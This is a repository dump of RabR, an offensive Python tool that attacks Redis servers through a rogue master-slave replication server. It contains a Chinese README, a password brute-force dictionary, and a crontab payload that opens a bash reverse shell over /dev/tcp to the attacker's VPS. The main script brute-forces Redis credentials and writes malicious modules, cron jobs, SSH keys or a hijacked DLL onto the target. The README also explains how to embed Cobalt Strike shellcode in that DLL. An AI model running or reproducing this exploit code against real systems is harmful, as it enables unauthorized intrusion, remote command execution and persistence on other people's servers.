├── README.md ├── exp ├── linux │ ├── exp.authorized_keys │ ├── exp.crontab │ └── exp.so └── win │ ├── dbghelp.dll │ └── exp.dll ├── pic ├── image-20210708190457889.png ├── image-20210708212712502.png └── image-20210708213302932.png ├── pwd.txt ├── redis-attack.py └── util ├── rd_linux ├── rd_osx └── rd_win.exe /README.md: -------------------------------------------------------------------------------- 1 | # RabR 2 | 3 | Redis-Attack By Replication (通过主从复制攻击Redis) 4 | 5 | - 攻击Linux下的Redis,可执行命令和反弹shell 6 | - 攻击Window x64下的Redis,可执行命令 7 | 8 | 本工具基于**Ridter**师傅的[**redis-rce**](https://github.com/Ridter/redis-rce) 进行修改。 9 | 10 | ## 声明 11 | 本工具仅用于个人安全研究学习。由于传播、利用本工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,工具作者不为此承担任何责任。 12 | 13 | ## 原理 14 | Redis从2.8开始,就支持主从复制功能。 15 | 16 | 这个功能存在脆弱的地方:主从复制中,Redis从机会将Redis主机的数据库文件同步到本地的数据库文件,并检验其是否为RDP格式,但如果不是RDP格式也不会删除。 17 | 所以我们只要将主从复制传输中的数据库文件,替换为我们自己的数据,就可以将我们自己的数据原封不动的写入到Redis从机的数据库文件中,而这个数据库文件的名字也可以通过Redis从机进行修改。 18 | **这就意味着我们可以将任意文件写入到目标Redis权限下的任意路径**。 19 | 20 | ## 特点 21 | - 本工具利用这个Redis的脆弱性,对Linux下的Redis进行module攻击、crontab写入攻击和ssh公钥写入攻击,对Windows下的Redis进行module攻击和dll劫持攻击。 22 | - 本工具默认使用的Linux恶意模块:exp/linux/exp.so,源码来自于:[**RedisModules-ExecuteCommand** ](https://github.com/puckiestyle/RedisModules-ExecuteCommand ), 该模块实现了执行单条命令和反弹shell的功能,你也可以编写自己的模块。 23 | - 本工具默认使用的crontab文件:exp/linux/exp.crontab,使用前务必根据自己实际的需求进行修改,或者直接通过命令行设置自己的crontab文件。 24 | - 本工具默认使用的ssh公钥文件:exp/linux/exp.authorized_keys,使用前务必自己重新生成以替换,或者直接通过命令行设置自己的ssh公钥文件。 25 | - 本工具默认使用的Windows恶意模块:exp/win/exp.dll,源码来自于:[**RedisModules-ExecuteCommand-for-Windows** ](https://github.com/0671/RedisModules-ExecuteCommand-for-Windows ), 该模块实现了执行命令的功能,你也可以编写自己的模块。 26 | - 本工具默认使用的用于劫持的恶意dll:exp/win/dbghelp.dll,是通过 [**DLLHijacker** ](https://github.com/kiwings/DLLHijacker )+ **Winx64下的dbghelp.dll**编译生成的,该dll会执行calc,你也可以编译自己的dbghelp.dll。 27 | - 本工具有爆破功能,默认密码字典位于pwd.txt中,也可自定义字典文件。 28 | - 本工具在攻击前会备份目标Redis的数据,在攻击结束后会进行恢复,使用的工具为[**redis-dump-go**](https://github.com/yannh/redis-dump-go )。默认是开启的,可以关闭。 29 | 30 | ## 结构 31 | ``` 32 | │ redis-attack.py 攻击主程序 33 | │ pwd.txt 爆破字典 34 | ├─exp 35 | │ ├─linux 36 | │ │ exp.authorized_keys 默认写入的Linux下的ssh公钥文件,用前需要修改 37 | │ │ exp.crontab 默认写入的Linux下的crontab定时任务文件,用前需要修改 38 | │ │ exp.so 默认导入的Linux Redis模块 39 | │ └─win 40 | │ dbghelp.dll 默认用于劫持Redis的dll 41 | │ exp.dll 默认导入的Windows Redis模块 42 | └─util 有用的程序(用于保存Redis数据) 43 | ``` 44 | 45 | ## 用法 46 | 运行环境:python3 47 | ``` 48 | usage: python redis-attack.py [-h] -r RHOST [-p RPORT] -L LHOST [-P LPORT] [-wf WINFILE] [-wf WINFILE2] [-lf LINUXFILE] [-lf2 LINUXFILE2] [-lf3 LINUXFILE3] [-a AUTH] [--brute] [-v] 49 | Example: 50 | python redis-attack.py -r 192.168.1.234 -L 192.168.1.2 --brute 51 | python redis-attack.py -r 192.168.1.234 -L 192.168.1.2 -P 80 -b mypwd.txt -i 52 | python redis-attack.py -r 192.168.1.234 -L 192.168.1.2 -lf3 id_rsa.pub 53 | 54 | optional arguments: 55 | -h, --help show this help message and exit 56 | -r RHOST, --rhost RHOST 57 | target host 58 | -p RPORT, --rport RPORT 59 | target redis port, default 6379 60 | -L LHOST, --lhost LHOST 61 | rogue server ip 62 | -P LPORT, --lport LPORT 63 | rogue server listen port, default 16379 64 | -wf WINFILE, --winfile WINFILE 65 | Dll Used to hijack redis, default exp/win/dbghelp.dll 66 | -wf2 WINFILE2, --winfile2 WINFILE2 67 | RedisModules(win) to load, default exp/win/exp.dll 68 | -lf LINUXFILE, --linuxfile LINUXFILE 69 | RedisModules(linux) to load, default exp/linux/exp.so 70 | -lf2 LINUXFILE2, --linuxfile2 LINUXFILE2 71 | Crontab file used to attack linux(/var/spool/cron/root), default exp/linux/exp.crontab(must be 72 | modified before use) 73 | -lf3 LINUXFILE3, --linuxfile3 LINUXFILE3 74 | SSH id_rsa.pub file used to attack linux(/root/.ssh/authorized_keys), use `ssh-keygen -t rsa` 75 | to generate, default exp/linux/exp.authorized_keys(empty file, must be modified before use) 76 | -a AUTH, --auth AUTH redis password 77 | -b [BRUTE], --brute [BRUTE] 78 | If redis needs to verify the password, perform a brute force attack, dict default pwd.txt 79 | -i, --idontcare don't care about the data on the target redis 80 | -v, --verbose show more info 81 | ``` 82 | 83 | ![image-20210708212712502](pic/image-20210708212712502.png) 84 | ![image-20210708190457889](pic/image-20210708190457889.png) 85 | ![image-20210708213302932](pic/image-20210708213302932.png) 86 | 87 | ## 进一步 88 | 劫持Windows x64下的dbghelp.dll的具体方法: 89 | 1)[DLLHijacker](https://github.com/kiwings/DLLHijacker) +目标Redis的系统版本的dbghelp.dll, 生成vs项目。 90 | 2)vs项目修改: 91 | ``` 92 | 1、将dllmain.c中 shellcode_calc[] 的值替换为cs生成的shellcode 93 | 2、为了避免只能劫持1次dll,在dllmain.cpp的 Hijack();后增加 FreeLibrary(hModule); 94 | 3、修改活动解决方案为Realease,x64 95 | 4、修改项目属性的sdk版本、平台工具集为本地vs可用的值 96 | ``` 97 | 3)编译生成恶意dbghelp.dll,复制到本工具目录下。 98 | 4)使用本工具执行攻击。 99 | 100 | ## 时间线 101 | ``` 102 | 2021.07.03 发布v0.5 103 | 2021.07.08 发布v0.6,增加了Windows模块攻击 104 | 2021.08.02 发布v0.6.3,增加了针对Linux的crontab写入攻击、ssh公钥写入攻击 105 | ``` 106 | 107 | 108 | ## 感谢 109 | 本工具基于大量优秀文章和工具才得以编写完成,非常感谢这些无私的分享者!!非常感谢某群大佬分享的关键词(很重要)!!非常感谢!! 110 | 帮助到我的文章与工具包括但不限于: 111 | [Redis on Windows 出网利用探索](https://xz.aliyun.com/t/8153) 112 | [Redis On Windows -- Dll Hijack](https://jkme.github.io/redis-on-windows-dll-hijack.html) 113 | [DLLHijacker](https://github.com/kiwings/DLLHijacker) 114 | [redis-rce](https://github.com/Ridter/redis-rce) 115 | [RedisWriteFile](https://github.com/r35tart/RedisWriteFile) 116 | [redis-dump-go](https://github.com/yannh/redis-dump-go) 117 | [浅析Linux下Redis的攻击面(一)](https://xz.aliyun.com/t/7974) 118 | 119 | ## 反馈 120 | Mail:h.vi@qq.com 121 | 或者[issue](https://github.com/0671/RabR/issues/new)、PR 122 | 123 | ## Stargazers over time 124 | 125 | [![Stargazers over time](https://starchart.cc/0671/RabR.svg)](https://github.com/0671/RabR) 126 | -------------------------------------------------------------------------------- /exp/linux/exp.authorized_keys: -------------------------------------------------------------------------------- 1 | {Your ssh public key} -------------------------------------------------------------------------------- /exp/linux/exp.crontab: -------------------------------------------------------------------------------- 1 | */1 * * * * /bin/bash -i >& /dev/tcp/{Your VPS address}/8080 0>&1 -------------------------------------------------------------------------------- /exp/linux/exp.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/RabR/f5df1730354d69c84a70742079cf31f6569532ed/exp/linux/exp.so -------------------------------------------------------------------------------- /exp/win/dbghelp.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/RabR/f5df1730354d69c84a70742079cf31f6569532ed/exp/win/dbghelp.dll -------------------------------------------------------------------------------- /exp/win/exp.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/RabR/f5df1730354d69c84a70742079cf31f6569532ed/exp/win/exp.dll -------------------------------------------------------------------------------- /pic/image-20210708190457889.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/RabR/f5df1730354d69c84a70742079cf31f6569532ed/pic/image-20210708190457889.png -------------------------------------------------------------------------------- /pic/image-20210708212712502.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/RabR/f5df1730354d69c84a70742079cf31f6569532ed/pic/image-20210708212712502.png -------------------------------------------------------------------------------- /pic/image-20210708213302932.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/0671/RabR/f5df1730354d69c84a70742079cf31f6569532ed/pic/image-20210708213302932.png -------------------------------------------------------------------------------- /pwd.txt: -------------------------------------------------------------------------------- 1 | Passw0rd 2 | foobared 3 | admin 4 | admin123 5 | admin1234 6 | admin12345 7 | admin123456 8 | admin@123 9 | admin@123456 10 | admin@12345 11 | admin#123 12 | admin#123456 13 | admin#12345 14 | admin_123 15 | admin_123456 16 | admin_12345 17 | admin123!@# 18 | admin!@#$ 19 | admin!@# 20 | admin~!@ 21 | admin!@#123 22 | qweasdzxc 23 | admin2021 24 | admin2020 25 | admin2019 26 | admin2018 27 | admin2017 28 | admin2016 29 | admin2015 30 | admin@2021 31 | admin@2020 32 | admin@2019 33 | admin@2018 34 | admin@2017 35 | admin@2016 36 | admin@2015 37 | admin888 38 | administrator 39 | administrator123 40 | root123 41 | 123456 42 | password 43 | 12345 44 | 1234 45 | 123 46 | qwerty 47 | test 48 | root 49 | 1q2w3e4r 50 | 1qaz2wsx 51 | qazwsx 52 | 123qwe 53 | 123qaz 54 | 0000 55 | oracle 56 | 1234567 57 | 123456qwerty 58 | password123 59 | 12345678 60 | 1q2w3e 61 | abc123 62 | okmnji 63 | test123 64 | 123456789 65 | q1w2e3r4 66 | user 67 | web -------------------------------------------------------------------------------- /redis-attack.py: -------------------------------------------------------------------------------- 1 | # coding:utf-8 2 | import socket 3 | import os 4 | import sys 5 | import re 6 | from time import sleep 7 | import argparse 8 | try: 9 | import readline 10 | except: 11 | pass 12 | 13 | 14 | CLRF = "\r\n" 15 | LOGO = R""" 16 | ██████╗ █████╗ ██████╗ ██████╗ 17 | ██╔══██╗██╔══██╗██╔══██╗██╔══██╗ 18 | ██████╔╝███████║██████╔╝██████╔╝ 19 | ██╔══██╗██╔══██║██╔══██╗██╔══██╗ 20 | ██║ ██║██║ ██║██████╔╝██║ ██║ 21 | ╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝ 22 | Redis-Attack By Replication(linux:4.x/5.x win:>=2.8) author:0671 23 | """ 24 | usage = R"""python redis-attack.py [-h] -r RHOST [-p RPORT] -L LHOST [-P LPORT] [-wf WINFILE] [-wf WINFILE2] [-lf LINUXFILE] [-lf2 LINUXFILE2] [-lf3 LINUXFILE3] [-a AUTH] [--brute] [-v] 25 | Example: 26 | python redis-attack.py -r 192.168.1.234 -L 192.168.1.2 --brute 27 | python redis-attack.py -r 192.168.1.234 -L 192.168.1.2 -P 80 -b mypwd.txt -i 28 | python redis-attack.py -r 192.168.1.234 -L 192.168.1.2 -lf3 id_rsa.pub 29 | """ 30 | 31 | # Convert command arrays to RESP arrays 32 | def mk_cmd_arr(arr): 33 | cmd = "" 34 | cmd += "*" + str(len(arr)) 35 | for arg in arr: 36 | cmd += CLRF + "$" + str(len(arg)) 37 | cmd += CLRF + arg 38 | cmd += "\r\n" 39 | return cmd 40 | 41 | # Convert the Redis command to command array 42 | def mk_cmd(raw_cmd): 43 | return mk_cmd_arr(raw_cmd.split(" ")) 44 | 45 | # Receive data from SOCK 46 | def din(sock, cnt): 47 | msg = sock.recv(cnt) 48 | if verbose: 49 | if len(msg) < 300: 50 | print("\033[1;34;40m[->]\033[0m {}".format(msg)) 51 | else: 52 | print("\033[1;34;40m[->]\033[0m {}......{}".format(msg[:80], msg[-80:])) 53 | if sys.version_info < (3, 0): 54 | res = re.sub(r'[^\x00-\x7f]', r'', msg) 55 | else: 56 | res = re.sub(b'[^\x00-\x7f]', b'', msg) 57 | return res.decode() 58 | 59 | # Send data to SOCK 60 | def dout(sock, msg): 61 | if type(msg) != bytes: 62 | msg = msg.encode() 63 | sock.send(msg) 64 | if verbose: 65 | if sys.version_info < (3, 0): 66 | msg = repr(msg) 67 | if len(msg) < 300: 68 | print("\033[1;32;40m[<-]\033[0m {}".format(msg)) 69 | else: 70 | print("\033[1;32;40m[<-]\033[0m {}......{}".format(msg[:80], msg[-80:])) 71 | 72 | # Decoding the return result of the execution command of the interactive shell 73 | def decode_shell_result(s): 74 | return "\n".join(s.split("\r\n")[1:-1]) 75 | 76 | # This is the REDIS client 77 | class Remote: 78 | def __init__(self, rhost, rport): 79 | self._host = rhost 80 | self._port = rport 81 | self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 82 | self._sock.connect((self._host, self._port)) 83 | 84 | # send data 85 | def send(self, msg): 86 | dout(self._sock, msg) 87 | 88 | # Receive data 89 | def recv(self, cnt=65535): 90 | return din(self._sock, cnt) 91 | 92 | # Send the redis command and receive the return value 93 | def do(self, cmd): 94 | self.send(mk_cmd(cmd)) 95 | buf = self.recv() 96 | return buf 97 | 98 | # Close the connection 99 | def close(self): 100 | self._sock.close() 101 | 102 | # Send system commands and receive return values 103 | def shell_cmd(self, cmd): 104 | self.send(mk_cmd_arr(['system.exec', "{}".format(cmd)])) 105 | buf = self.recv() 106 | return buf 107 | # Send a command to perform a reverse shell 108 | def reverse_shell(self, addr, port): 109 | self.send(mk_cmd("system.rev {} {}".format(addr, port))) 110 | 111 | # This is a Rogue Redis Server for transmitting malicious data in master-slave replication. 112 | class RogueServer: 113 | def __init__(self, lhost, lport, remote): 114 | self._host = lhost 115 | self._port = lport 116 | self._remote = remote 117 | self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 118 | self._sock.bind(('0.0.0.0', self._port)) 119 | self._sock.settimeout(15) 120 | self._sock.listen(10) 121 | 122 | # Respond to the request of the slave, then transmit malicious data 123 | def handle(self, data): 124 | resp = "" 125 | phase = 0 126 | if data.find("PING") > -1: 127 | resp = "+PONG" + CLRF 128 | phase = 1 129 | elif data.find("REPLCONF") > -1: 130 | resp = "+OK" + CLRF 131 | phase = 2 132 | elif data.find("PSYNC") > -1 or data.find("SYNC") > -1: 133 | resp = "+FULLRESYNC " + "Z" * 40 + " 0" + CLRF 134 | resp += "$" + str(len(payload)) + CLRF 135 | resp = resp.encode() 136 | resp += payload + CLRF.encode() 137 | phase = 3 138 | return resp, phase 139 | 140 | # Close the connection 141 | def close(self): 142 | self._sock.close() 143 | # Start listening, then perform file transfer under master-slave replication 144 | def exp(self): 145 | try: 146 | cli, addr = self._sock.accept() 147 | print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(addr[0], addr[1])) 148 | while True: 149 | data = din(cli, 1024) 150 | if len(data) == 0: 151 | break 152 | resp, phase = self.handle(data) 153 | dout(cli, resp) 154 | if phase == 3: 155 | break 156 | except Exception as e: 157 | print("\033[1;31;m[-]\033[0m Error: {}, exit".format(e)) 158 | exit(0) 159 | except KeyboardInterrupt: 160 | print("[-] User Quit..") 161 | exit(0) 162 | 163 | # Set up the host and IP of the reverse shell, then execute 164 | def reverse(remote): 165 | print("[*] Open reverse shell...") 166 | addr = input("[*] Reverse server address: ") 167 | port = input("[*] Reverse server port: ") 168 | remote.reverse_shell(addr, port) 169 | print("\033[92m[+]\033[0m Reverse shell payload sent.") 170 | print("[*] Check at {}:{}".format(addr, port)) 171 | 172 | # Set the command of interaction shell, then execute 173 | def interact(remote): 174 | print("\033[92m[+]\033[0m Interactive shell open , use \"exit\" to exit...") 175 | try: 176 | while True: 177 | cmd = input("$ ") 178 | cmd = cmd.strip() 179 | if cmd == "exit": 180 | return 181 | r = remote.shell_cmd(cmd) 182 | if 'unknown command' in r: 183 | print("\033[1;31;m[-]\033[0m Error:{} , check your module!".format(r.strip())) 184 | # return 185 | continue 186 | for l in decode_shell_result(r).split("\n"): 187 | if l: 188 | print(l) 189 | except KeyboardInterrupt: 190 | return 191 | 192 | def cleanup(remote, rogue, lhost, lport, expfiledir, expfilename): 193 | print("[*] Clean up..") 194 | print("[*] Closing rogue server...") 195 | rogue.close() 196 | if attack_type == 'linux_module': 197 | remote.shell_cmd("rm {}".format(expfiledir+expfilename)) 198 | remote.do("MODULE UNLOAD system") 199 | elif attack_type in ['win_module','linux_crontab','linux_sshpk']: 200 | if attack_type == 'win_module': 201 | remote.do("MODULE UNLOAD system") 202 | choice = input("\033[92m[+]\033[0m Do you overwrite the written files in order to clean up the traces? [y/n](default:n): ") 203 | if choice.startswith("y"): 204 | print("[*] Overwrite the written file..") 205 | # Need to restart the Rogue Redis server, using the original server may result in failure to connect 206 | rogue2 = RogueServer(lhost, lport, remote) 207 | global payload 208 | payload = b"hello world" 209 | rogue2.exp() 210 | sleep(2) 211 | rogue2.close() 212 | else: 213 | pass 214 | elif attack_type == 'win_dbhelp': 215 | pass 216 | remote.do("SLAVEOF NO ONE") 217 | remote.do("CONFIG SET dir ./") 218 | remote.do("CONFIG SET dbfilename dump.rdb") 219 | 220 | 221 | # Print the remote IP and port 222 | def printback(remote): 223 | back = remote._sock.getpeername() 224 | print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(back[0], back[1])) 225 | 226 | # Run attack program 227 | def run(rhost, rport, lhost, lport): 228 | # Brute force attack Redis 229 | def bruteRedis(): 230 | if os.path.exists(brute) == False: 231 | print("\033[1;31;m[-]\033[0m Where is your brute dict file? ") 232 | exit(0) 233 | with open(brute,'r')as f: 234 | pwd = f.readline() 235 | while pwd: 236 | pwd = pwd.strip() 237 | check = remote.do("AUTH {}".format(pwd)) 238 | if "OK" in check: 239 | return 1,pwd 240 | pwd = f.readline() 241 | return 0,0 242 | global attack_type,payload 243 | attack_type = ''# linux_module,linux_crontab,linux_sshpk,win_module,win_dbhelp 244 | try: 245 | remote = Remote(rhost, rport) 246 | need_auth = False 247 | check = remote.do("AUTH {}".format(auth)) 248 | if "but no password is set" in check: # No need to verify password 249 | if auth != "gugugu": # The command line has set a password 250 | print("\033[1;31;m[-]\033[0m No password required !") 251 | else: 252 | pass 253 | elif "called without any password configured" in check: 254 | print("\033[1;31;m[-]\033[0m No password required !") 255 | elif "invalid password" in check: # wrong password 256 | need_auth = True # Set the sign that needs to verify the password 257 | if brute: 258 | state,pwd=bruteRedis() 259 | if state: 260 | print("\033[92m[+]\033[0m Successfully found password: \033[92m{}\033[0m".format(pwd)) 261 | else: 262 | print("\033[1;31;40m[-]\033[0m No found password.") 263 | return 264 | else: 265 | if auth != "gugugu": 266 | print("\033[1;31;40m[-]\033[0m Wrong password !") 267 | return 268 | else: 269 | print("\033[1;31;40m[-]\033[0m Need password.") 270 | return 271 | else: # Password correct 272 | pwd = auth 273 | need_auth = True 274 | # Get the version of Redis, the system, the number of system bits 275 | info = remote.do("INFO") 276 | redis_version = info[info.find('redis_version:')+len("redis_version:"):info.find('\r\n',info.find('redis_version:'))] 277 | redis_os = info[info.find('os:')+len("os:"):info.find('\r\n',info.find('os:'))] 278 | redis_arch_bits = info[info.find('arch_bits:')+len("arch_bits:"):info.find('\r\n',info.find('arch_bits:'))] 279 | redis_dbsize = int(remote.do("DBSIZE")[1:].strip()) 280 | print("[*] Redis version: {}".format(redis_version)) 281 | print("[*] OS: {}".format(redis_os)) 282 | print("[*] Arch_bits: {}".format(redis_arch_bits)) 283 | print("[*] Redis dbsize: {}".format(redis_dbsize)) 284 | redis_version = float('.'.join(redis_version.split('.')[0:2])) 285 | if redis_dbsize >= 5000: 286 | print("\033[1;31;40m[!]\033[0m The redis has more than 5000 pieces of data, "\ 287 | "and attacks based on master-slave replication have the risk of data loss. "\ 288 | "RabR protects data to a certain extent, "\ 289 | "but a large amount of data will cause a large amount of network traffic. " 290 | "You can check the data content before deciding whether to attack ") 291 | while 1: 292 | choice = input("\033[92m[+]\033[0m Do you want to continue the attack? [y/n]: ") 293 | if choice.startswith("y"): 294 | break 295 | elif choice.startswith("n"): 296 | print("[*] User Quit..") 297 | return 298 | # Depending on the Redis version and the system, determine the file transferred in the master-slave replication 299 | if redis_version < 2.8: 300 | print("[!] Target redis does not support master-slave replication. Please use other tools to attack the redis") 301 | exit() 302 | if 'Linux' in redis_os : 303 | if int(redis_version) in [4,5]: 304 | print("[√] Can use master-slave replication to load the RedisModule to attack the redis") 305 | expfiledir = linuxfilename['module_attack'][0] 306 | expfilename = linuxfilename['module_attack'][1] 307 | expfile = linuxfilename['module_attack'][2] 308 | if os.path.exists(expfile) == False: 309 | print("\033[1;31;m[-]\033[0m Where is your module(linux)? ") 310 | exit(0) 311 | attack_type = 'linux_module'# linux_module,linux_crontab,linux_sshpk,win_module,win_dbhelp 312 | elif int(redis_version) in [2,3,6]: 313 | if int(redis_version) == 6: 314 | print("\033[1;31;40m[!]\033[0m Starting from Redis 6, "\ 315 | "Redis will detect the permissions of module files."\ 316 | " If there are no executable permissions, "\ 317 | "the load is prohibited. "\ 318 | "The permissions of files written through Redis master-slave replication are `0644`, "\ 319 | "so it is impossible to attack modules through master-slave replication, "\ 320 | "at least in Linux.") 321 | else: 322 | print("\033[1;31;40m[!]\033[0m Target Redis is < 4 and does not support module load, "\ 323 | "so it is impossible to attack modules through master-slave replication.") 324 | print("[√*] Can also try to use crontab-write attacks,"\ 325 | " authorized_keys-write attacks ") 326 | resp = remote.do("CONFIG SET dir {}".format("/etc/sysconfig/network-scripts/ifcfg-eth0")) 327 | if "Not a directory" in resp: 328 | print("[*] The OS may be Centos, this means that the probability of successfully crontab-write attacks has risen!") 329 | while 1: 330 | choice = input("\033[92m[+]\033[0m What do u want ? [c]rontab-write or [a]uthorized_keys-write or [e]xit: ") 331 | if choice.startswith("c"): 332 | expfiledir = linuxfilename['crontab_attack'][0] 333 | expfilename = linuxfilename['crontab_attack'][1] 334 | expfile = linuxfilename['crontab_attack'][2] 335 | if os.path.exists(expfile) == False: 336 | print("\033[1;31;m[-]\033[0m Where is your crontab file?") 337 | exit(0) 338 | else: 339 | print("\033[1;31;m[-]\033[0m If the crontab file has not been modified, please modify it now to meet your needs") 340 | attack_type = 'linux_crontab' 341 | break 342 | if choice.startswith("a"): 343 | expfiledir = linuxfilename['sshpubkey_attack'][0] 344 | expfilename = linuxfilename['sshpubkey_attack'][1] 345 | expfile = linuxfilename['sshpubkey_attack'][2] 346 | if os.path.exists(expfile) == False: 347 | print("\033[1;31;m[-]\033[0m Where is your authorized_keys file?") 348 | exit(0) 349 | else: 350 | print("\033[1;31;m[-]\033[0m If the authorized_keys file has not been modified, please modify it now to meet your needs") 351 | attack_type = 'linux_sshpk' 352 | break 353 | if choice.startswith("e"): 354 | print("[*] User Quit..") 355 | return 356 | elif 'Windows' in redis_os: 357 | print("[√] Can use master-slave replication to hijack dbghelp.dll to attack the redis") 358 | if int(redis_version) >=4 : 359 | print("[√] Can use master-slave replication to load the RedisModule to attack the redis") 360 | while 1: 361 | choice = input("\033[92m[+]\033[0m What do u want ? [h]ijack dbghelp.dll or [l]oad module or [e]xit: ") 362 | if choice.startswith("h"): 363 | expfiledir = winfilename['hijack_attack'][0] 364 | expfilename = winfilename['hijack_attack'][1] 365 | expfile = winfilename['hijack_attack'][2] 366 | if os.path.exists(expfile) == False: 367 | print("\033[1;31;40m[-]\033[0m Where is your dbghelp.dll? ") 368 | exit(0) 369 | attack_type = 'win_dbhelp' 370 | break 371 | elif choice.startswith("l") and int(redis_version) >= 4: 372 | expfiledir = winfilename['module_attack'][0] 373 | expfilename = winfilename['module_attack'][1] 374 | expfile = winfilename['module_attack'][2] 375 | if os.path.exists(expfile) == False: 376 | print("\033[1;31;40m[-]\033[0m Where is your module(win)? ") 377 | exit(0) 378 | attack_type = 'win_module' 379 | break 380 | elif choice.startswith("l") and int(redis_version) < 4: 381 | print("\033[92m[!]\033[0m Target Redis is < 4 and does not support module load , please select [h]ijack dbghelp.dll") 382 | continue 383 | if choice.startswith("e"): 384 | print("[*] User Quit..") 385 | return 386 | else: 387 | print("[#] Please use other tools to attack the redis") 388 | return 389 | 390 | # Read malicious files that need to be transmitted 391 | payload = open(expfile, "rb").read() 392 | 393 | if idontcare == False: 394 | # If you don't set an `idontcare` flag, data protection is performed 395 | print("[*] Saveing dbdata") 396 | if need_auth: 397 | os.environ["REDISDUMPGO_AUTH"] = pwd 398 | # Keep Redis data as command form redis-dump-go 399 | if "darwin" in sys.platform: 400 | rdfile = os.path.join(os.path.basename("util"),"rd_osx") 401 | os.system("chmod 754 {}".format(rdfile)) 402 | elif "linux" in sys.platform: 403 | rdfile = os.path.join(os.path.basename("util"),"rd_linux") 404 | os.system("chmod 754 {}".format(rdfile)) 405 | elif "win" in sys.platform: 406 | rdfile = os.path.join(os.path.basename("util"),"rd_win") 407 | os.system("{} -host {} -port {} -s -output commands > {}".format(rdfile, rhost, rport, "_redis-db.dump")) 408 | 409 | print("[*] Setting filename") 410 | print("[*] Sending SLAVEOF command to server") 411 | # Set the target redis as a slave 412 | remote.do("SLAVEOF {} {}".format(lhost, lport)) 413 | printback(remote) 414 | # Set the dbfilename,dir of the target Redis 415 | resp = remote.do("CONFIG SET dir {}".format(expfiledir)) 416 | if 'OK' not in resp: 417 | print("\033[1;31;m[-]\033[0m CONFIG SET dir occur error: {}, exit".format(resp)) 418 | exit() 419 | resp = remote.do("CONFIG SET dbfilename {}".format(expfilename)) 420 | printback(remote) 421 | # Sleep is necessary, because the target redis accepts commands and processing commands to have certain time 422 | sleep(2) 423 | print("[*] Start listening on {}:{}".format(lhost, lport)) 424 | # Run the Rogue Redis server and transfer data 425 | rogue = RogueServer(lhost, lport, remote) 426 | print("[*] Tring to run payload") 427 | rogue.exp() 428 | sleep(2) 429 | 430 | if attack_type == "linux_module": 431 | remote.do("MODULE LOAD ./{}".format(expfilename)) 432 | remote.do("SLAVEOF NO ONE") 433 | print("[*] Closing rogue server...") 434 | rogue.close() 435 | # Module operation, interacting shell or reverse shell 436 | choice = input("\033[92m[+]\033[0m What do u want ? [i]nteractive shell or [r]everse shell or [e]xit: ") 437 | if choice.startswith("i"): 438 | interact(remote) 439 | elif choice.startswith("r"): 440 | reverse(remote) 441 | elif choice.startswith("e"): 442 | pass 443 | elif attack_type == "linux_crontab": 444 | print("[*] The crontab file is written successfully, then u can wait for the command in crontab to execute (eg. listen to the port and wait for the rebound shell)") 445 | elif attack_type == "linux_sshpk": 446 | print("[*] The authorized_keys file is written successfully, then u can use the corresponding ssh private key to connect to the server (eg. ssh root@X.X.X.X -i id_rsa)") 447 | elif attack_type == "win_dbhelp": 448 | remote.do("BGSAVE") # Hijack dbghelp.dll 449 | elif attack_type == "win_module": 450 | remote.do("MODULE LOAD ./{}".format(expfilename)) # load a malicious module 451 | print("[*] Closing rogue server...") 452 | rogue.close() 453 | interact(remote) # reverse shell 454 | cleanup(remote, rogue, lhost, lport, expfiledir, expfilename) 455 | 456 | if idontcare == False: 457 | print("[*] Refuseing dbdata ",end='') 458 | for line in open("_redis-db.dump"): 459 | print('.',end='') 460 | line = line.strip() 461 | # Restore the Redis data in the form of command. 462 | check = remote.do(line) 463 | sleep(2) 464 | remote.do("SAVE") 465 | os.remove("_redis-db.dump") 466 | remote.close() 467 | print() 468 | except Exception as e: 469 | print("\033[1;31;m[-]\033[0m Error found : {} \n[*] Exit..".format(e)) 470 | 471 | def main(): 472 | parser = argparse.ArgumentParser(description='',usage = usage) 473 | 474 | parser.add_argument("-r", "--rhost", dest="rhost", type=str, help="target host", required=True) 475 | parser.add_argument("-p", "--rport", dest="rport", type=int,help="target redis port, default 6379", default=6379) 476 | parser.add_argument("-L", "--lhost", dest="lhost", type=str,help="rogue server ip", required=True) 477 | parser.add_argument("-P", "--lport", dest="lport", type=int,help="rogue server listen port, default 16379", default=16379) 478 | parser.add_argument("-wf", "--winfile", type=str, help="Dll Used to hijack redis, default exp/win/dbghelp.dll", default=os.path.join('exp','win','dbghelp.dll')) 479 | parser.add_argument("-wf2", "--winfile2", type=str, help="RedisModules(win) to load, default exp/win/exp.dll", default=os.path.join('exp','win','exp.dll')) 480 | parser.add_argument("-lf", "--linuxfile", type=str, help="RedisModules(linux) to load, default exp/linux/exp.so", default=os.path.join('exp','linux','exp.so')) 481 | parser.add_argument("-lf2", "--linuxfile2", type=str, help="Crontab file used to attack linux(/var/spool/cron/root), default exp/linux/exp.crontab(must be modified before use)", default=os.path.join('exp','linux','exp.crontab')) 482 | parser.add_argument("-lf3", "--linuxfile3", type=str, help="SSH id_rsa.pub file used to attack linux(/root/.ssh/authorized_keys), use `ssh-keygen -t rsa` to generate, default exp/linux/exp.authorized_keys(empty file, must be modified before use)", default=os.path.join('exp','linux','exp.authorized_keys')) 483 | parser.add_argument("-a", "--auth", dest="auth", type=str, help="redis password", default='gugugu') 484 | parser.add_argument("-b","--brute", nargs='?', help="If redis needs to verify the password, perform a brute force attack, dict default pwd.txt",const='pwd.txt',default=False) 485 | parser.add_argument("-i", "--idontcare", action="store_true", help="don't care about the data on the target redis", default=False) 486 | parser.add_argument("-v", "--verbose", action="store_true", help="show more info", default=False) 487 | options = parser.parse_args() 488 | 489 | print("[*] Connecting to {}:{}...".format(options.rhost, options.rport)) 490 | global payload, verbose, linuxfilename, winfilename, auth, brute, idontcare 491 | auth = options.auth 492 | brute = options.brute 493 | linuxfilename = { 494 | 'module_attack':['./','exp.so',options.linuxfile], 495 | 'crontab_attack':['/var/spool/cron/','root',options.linuxfile2], 496 | 